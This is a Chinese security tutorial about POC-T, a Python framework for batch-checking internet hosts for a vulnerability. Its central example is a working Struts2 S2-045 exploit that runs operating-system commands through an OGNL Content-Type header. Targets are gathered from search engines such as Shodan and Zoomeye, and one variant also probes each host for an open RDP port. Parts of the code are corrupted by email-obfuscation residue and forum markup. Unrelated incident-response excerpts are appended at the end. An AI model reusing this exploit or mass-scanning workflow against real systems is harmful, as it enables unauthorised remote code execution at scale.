漏洞应急响应之批量poc验证

1.文章难易度 【★★★】 
2.文章知识点: python,poc验证; 
3.文章作者: 野驴 
4.本文参与 i春秋学院原创文章奖励计划,未经许可禁止转载!

0x01前言

当互联网爆出高危漏洞,或者团队内部挖到0day,无论甲方还是乙方都需要了解漏洞的影响面,这个时候就需要poc批量验证,包括网络安全爱好者对“批量”这个词一定不会陌生,我们今天就来聊聊“批量”那些事。目前,有很多优秀的poc批量验证工具,比如我之前的帖子(https://bbs.ichunqiu.com/thread-9519-1-1.html)发过pentestdb中也集成了这个功能,比较经典的还有pocsuitepocsuite、zoomeye、seebug一条龙服务可以说是业界良心,pocsuite需要按模板要求使用Pocsuite指定的函数,这样的优点在于可以在HTTP请求层面直接做控制,从而支持“全局代理”,“全局随机UA”等功能,同时保证了脚本的稳定性与规范性,对于不懂验证逻辑的客户或运维人员,直接运行脚本即可。但总感觉太重了,不够自由,比如输出的内容等,不能自由设置。那么有没有一款可以引入第三方库,不需要任何模板和继承。这样既能够扩展其功能,又能保证效率的最大化,不用每次写脚本都查文档格式,一个脚本一行命令,三五分钟即可完成任务的这样一个poc验证框架呢?这就是今天给大家推荐的POC-T。

0x02 简介及安装使用

批量验证要解决的三个关键点:

数据:数据怎么来? 
处理:逻辑是什么? 
 并发:如何实现?

POC-T就是按照这样的思路设计的

安装也很简单,这里不占用篇幅

git clone [url]https://github.com/Xyntax/POC-T[/url]

pip install -r requirement.txt

python POC-T.py

0x021 数据怎么来

数据来源很丰富,也很贴心。包括单个目标(-iS)、文件导入(-iF)、搜索引擎接口,包括谷歌(-aG)、Zoomeye(-aZ)、撒旦(-aS),这些接口的key设置支持运行时手动输入,也支持预先设置,在根目录下的toolkit.conf中设置,谷歌还支持代理,以便扶墙,是不是很贴心,参数–limit来限制搜索数目。其他来源参考帮助。

0x022 处理逻辑是什么

逻辑验证也就是poc,在script已经有很多作者维护的poc脚本,可以利用参数–show来列出poc脚本名

加载用参数–s poc名

0x023 并发如何实现

并发的实现作者自己的框架,我们作为使用者不必太纠结原理,只要知道支持多线程(-eT)Gevent(-eG)两种并发模式就可以了。POC-T的效率非常之高,根据笔者测试,设置线程为30(默认10),测试2000+个目标不到3分钟就可以完成。

最后的命令格式大概是这样子

Python POC-T.py –s poc –aZ “port:22” –limit 100

Python POC-T.py –s poc –aG “url:index.php” –limit 100 –gproxy “socket5 127.0.0.1 1080”

Python POC-T.py –s poc –iS http://host//login.php?id=1

Python POC-T.py –s poc –iF /root/pentest/vul.txt

0x03 poc脚本编写
这也是本文重点关注的,为什么说POC-T很轻便呢,我认为就体现在poc脚本编写上,所有的验证只需要一个poc()函数就可以,成功就返回True或者自定义信息,失败就返回False,除此之外没有任何限制。没有实例,一切文章都是纸老虎。下面我们就以前段时间火爆的struts2-s045漏洞为例,详细说下poc的编写,在script目录下有个test.py就是poc脚本的一个demo,就在这个基础上编写我们的poc。

网上爆出的验证代码为

def poc(url):

register_openers()

    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})

    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"

    header["Content-Type"]="%{(#nike=‘multipart/form-data‘).(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container‘]).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=‘echo nMask‘).(#iswin=(@[email protected](‘os.name‘).toLowerCase().contains(‘win‘))).(#cmds=(#iswin?{‘cmd.exe‘,‘/c‘,#cmd}:{‘/bin/bash‘,‘-c‘,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}"

    request = urllib2.Request(url,datagen,headers=header)

    response = urllib2.urlopen(request)

    body=response.read()

return body

这段代码,大概意思就是执行了“echo nMask”,也就是说返回的body中如果有字符串nMask就意味着漏洞存在,否则不存在。那么我们的poc代码就可以这么写

import urllib2[/size][/font]

[align=left][font=宋体][size=3]from poster.encode import multipart_encode

from poster.streaminghttp import register_openers

def poc(url):

register_openers()

        datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})

        header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"

        header["Content-Type"]="%{(#nike=‘multipart/form-data‘).(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container‘]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=‘echo nMask || whoami‘).(#iswin=(@[email protected](‘os.name‘).toLowerCase().contains(‘win‘))).(#cmds=(#iswin?{‘cmd.exe‘,‘/c‘,#cmd}:{‘/bin/bash‘,‘-c‘,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}"

        try:

            request = urllib2.Request(url,datagen,headers=header)

            response = urllib2.urlopen(request,timeout=5)

            body = response.readlines()[0:2]

        except:

                return False

        if "nMask" in body:

                return Ture

        else:

                return False

建议在脚本中处理Exception,如果线程运行中发现Exception,将使框架终止全部任务并打印错误信息。由于网络请求中经常出现连接中断等错误,一种简单的做法是:

def poc(input_str)

    try:

    ...全部脚本逻辑...

    except:

        return False

就是这么简单,在运行时框架的每个线程都会调用poc()这个函数,并把目标url复制给poc()函数。然后我们来看看效果,我导入一个目标文本(每行一个url)。

POC-T还提供了具有通用性的脚本扩展工具.用于简化代码,提高PoC准确性,赋予脚本更多功能.这些工具位于plugin目录下,编写脚本时,可以使用from plugin.xxx import xxx直接调用,具体功能请查看原文件注释

继续以刚才poc为例,现在我们不仅想知道一个url是否存在s2-045漏洞,还想知道特定端口是否开放,比如3389、22端口,这样可以为我们下一步测试提供方便。那来看看扩展工具里有没有我们想要的功能。

在util.py中有这样一个函数checkPortTcp()只要有IP地址就可以查看相应端口是否开放

可传入的参数是url,不是IP地址怎么办,答案仍在util.py中,还有这样一个函数host2IP()可以把url转换为IP地址,真是要啥有啥。

我们的代码可以这样写

import urllib2

from poster.encode import multipart_encode

from poster.streaminghttp import register_openers

from plugin.util import host2IP

from plugin.util import checkPortTcp

def poc(url):

    register_openers()

    datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")})

    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"

    header["Content-Type"]="%{(#nike=‘multipart/form-data‘).(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container‘]).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=‘echo nMask || whoami‘).(#iswin=(@[email protected](‘os.name‘).toLowerCase().contains(‘win‘))).(#cmds=(#iswin?{‘cmd.exe‘,‘/c‘,#cmd}:{‘/bin/bash‘,‘-c‘,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}"

    try:

        request = urllib2.Request(url,datagen,headers=header)

        response = urllib2.urlopen(request,timeout=5)

        body = response.read()

    except:

        body=""

    ip = host2IP(url)            #将url转化为IP

    port = checkPortTcp(ip,3389) #检测3389是否开放

    if "nMask" in body:

        assert isinstance(port, object)

        return url + "---" + "3389:" + str(port)

    else:

        return False


0x04 其他功能
  如果我们搞明白了批量需要解决的那三个关键问题,就会发现这个框架不仅可以用作poc批量验证,还可以用作它途,只要原理一样就可以。比如爆破、爬虫、采集等。作者也给出了相应实例

爆破:/script/ brute-example.py 
爬虫&采集:/script/ spider-example.py 
 旁站扫描:/script/ bingc.py

0x05 结语
  
看完本文,以后再有漏洞时,还用到处问“哪里有批量工具吗?”,自己动手,丰衣足食。但正因为POC-T的轻便、灵活,更需要我们的编码能力,因为所有的逻辑验证及输出都需要通过自己编码实现而没有现成的格式规范。
其他优秀的poc批量验证工具:

Pocsuite:  https://github.com/knownsec/Pocsuite 
Pentestdb:  https://github.com/alpha1e0/pentestdb 
s0m3poc:  https://github.com/s0m30ne/s0m3poc

时间: 2024-10-29 19:06:09

漏洞应急响应之批量poc验证的相关文章

应急响应--记录一次漏洞紧急处理中意外发现的挖矿木马(Shiro反序列化漏洞和ddg挖矿木马)

背景 某公司线上服务器意外发现一个Apache Shiro 反序列化漏洞,可以直接GetShell.出于做安全的谨慎,马上出现场应急,确认漏洞.该漏洞存在在cookie字段中的rememberMe字段中,可以RCE 漏洞应急 来到现场后,发现已经升级了,漏洞确认修复完成,只能查看以前的攻击痕迹. 查看账号情况 首先查看账户文件/etc/passwd,修改时间和内容没有什么问题 stat /etc/passwd cat /etc/passwd 查看文件情况 查看最近修改过的文件没看到特殊异常 ls

安全等级划分依据与应急响应流程

查看等保要求及相关安全建设视频(郑歆炜cnhawk:企业安全那些事 – 应急响应http://open.freebuf.com/live/181.html)后整理,不成熟处还望指正. 安全等级划分:(是在平时对网络环境的评估) 1,  依据不同业务系统受到不同侵害时将造成的损失(即业务系统的重要性)见表一 2,  进行基于物理安全,网络安全,主机安全,应用安全,数据安全五方面评估(即在等保的基础上根据实际情况作相应修改) 见表二 综合以上两点,对整个网络进行安全评估 表一 业务系统侵害等级 受侵

服务器安全应急响应流程

参考: https://mp.weixin.qq.com/s?__biz=MzI4NTA1MDEwNg==&mid=2650759483&idx=1&sn=c98277d4f9eb252409a177756b222b8a&chksm=f3f9d4aec48e5db85e07e998cc7052eeac3165f549e4f43dc0fa0789c3d3da006dac3c4135bb&scene=0#rd 1. 服务器安全应急响应流程 服务器安全应急响应流程分为发现

Linux应急响应姿势浅谈

一.前记 无论是甲方还是乙方的同学,应急响应可能都是家常便饭,你可能经常收到如下反馈: 运维同事 --> 服务器上存在可疑进程,系统资源占用高: 网络同事 --> 监控发现某台服务器对外大量发包: .... 不要着急,喝一杯82年的美年达压压惊,希望本文可以对你有所帮助. 二.排查流程 0x01 Web服务 一般如果网络边界做好控制,通常对外开放的仅是Web服务,那么需要先找到Webshell,可以通过如下途径: 1)检查最近创建的php.jsp文件和上传目录 例如要查找24小时内被修改的JS

某流媒体协议应急响应事件回放

某流媒体协议应急响应事件回放 1.背景:          2014的X月Z号,我收到公司信息安全委员会的一封邮件,说收到了一封来自老外的Email,Email里面描述到我们的传统行业设备存在一些安全问题,并在他们公司的官网上发布了相关的信息,之后我瞧了一下他们的分析报告,才刚看一小段我就已经明白一切了,理由是,在2014的X月Z-9号的时候,我们自己内部也已经发现了此漏洞,在互联网设备上已经迅速打补丁修复,我同时也考虑到代码复用的问题,当时也立马给传统行业部门的人打电话发了邮件要求处理此事,但

Windows应急响应常识

Windows 应急响应 常见事件ID 1102 清理审计日志 4624 账号登陆成功 4625 账号登陆失败 4672 授予特殊权限 4720 创建用户 4726 删除用户 4728 将成员添加到启用安全的全局组中 4729 将成员从安全组移除 4732 将成员添加到启用安全的本地组中 4733 将成员从启用安全的本地组移除 4756 将成员添加到启用安全的通用组中 4757 将成员从启用安全的通用组中移除 4719 系统审计策略修改 常见登陆类型 2 交互式登陆(用户从控制台登陆) 3 网络

Linux应急响应入侵排查思路

0x00 前言 ? 当企业发生黑客入侵.系统崩溃或其它影响业务正常运行的安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,进一步查找入侵来源,还原入侵事故过程,同时给出解决方案与防范措施,为企业挽回或减少经济损失. 针对常见的攻击事件,结合工作中应急响应事件分析和解决的方法,总结了一些Linux服务器入侵排查的思路. 0x01 入侵排查思路 一.账号安全 基本使用: 1.用户信息文件/etc/passwdroot:x:0:0:root:/root:/bin/bash

Window应急响应(五):ARP病毒

0x00 前言 ARP病毒并不是某一种病毒的名称,而是对利用arp协议的漏洞进行传播的一类病毒的总称,目前在局域网中较为常见.发作的时候会向全网发送伪造的ARP数据包,严重干扰全网的正常运行,其危害甚至比一些蠕虫病毒还要严重得多. 0x01 应急场景 某天早上,小伙伴给我发了一个微信,说192.168.64.76 CPU现在负载很高,在日志分析平台查看了一下这台服务器的相关日志,流量在某个时间点暴涨,发现大量137端口的UDP攻击. 0x02 分析过程 登录服务器,首先查看137端口对应的进程,

【讲清楚,说明白!】 Linux系统应急响应流程

目录:(一)概述(二)识别现象(三)闭环兜底(四)打上常见Web漏洞补丁 (一)概述(1.1)Linux环境下处理应急响应事件往往更加棘手,因为相比于Windows系统,Linux没有像procexp这样的应急响应利器,也没有统一的应急响应处理流程.所以我们需要对流程进行梳理,系统化地处理Linux环境下的应急事件.(1.2)处理Linux应急响应主要分为4个环节:识别现象->清除病毒->闭环兜底->系统加固(1.3)首先从用户场景的主机异常现象触发,先识别出病毒的可疑现象.然后定位到具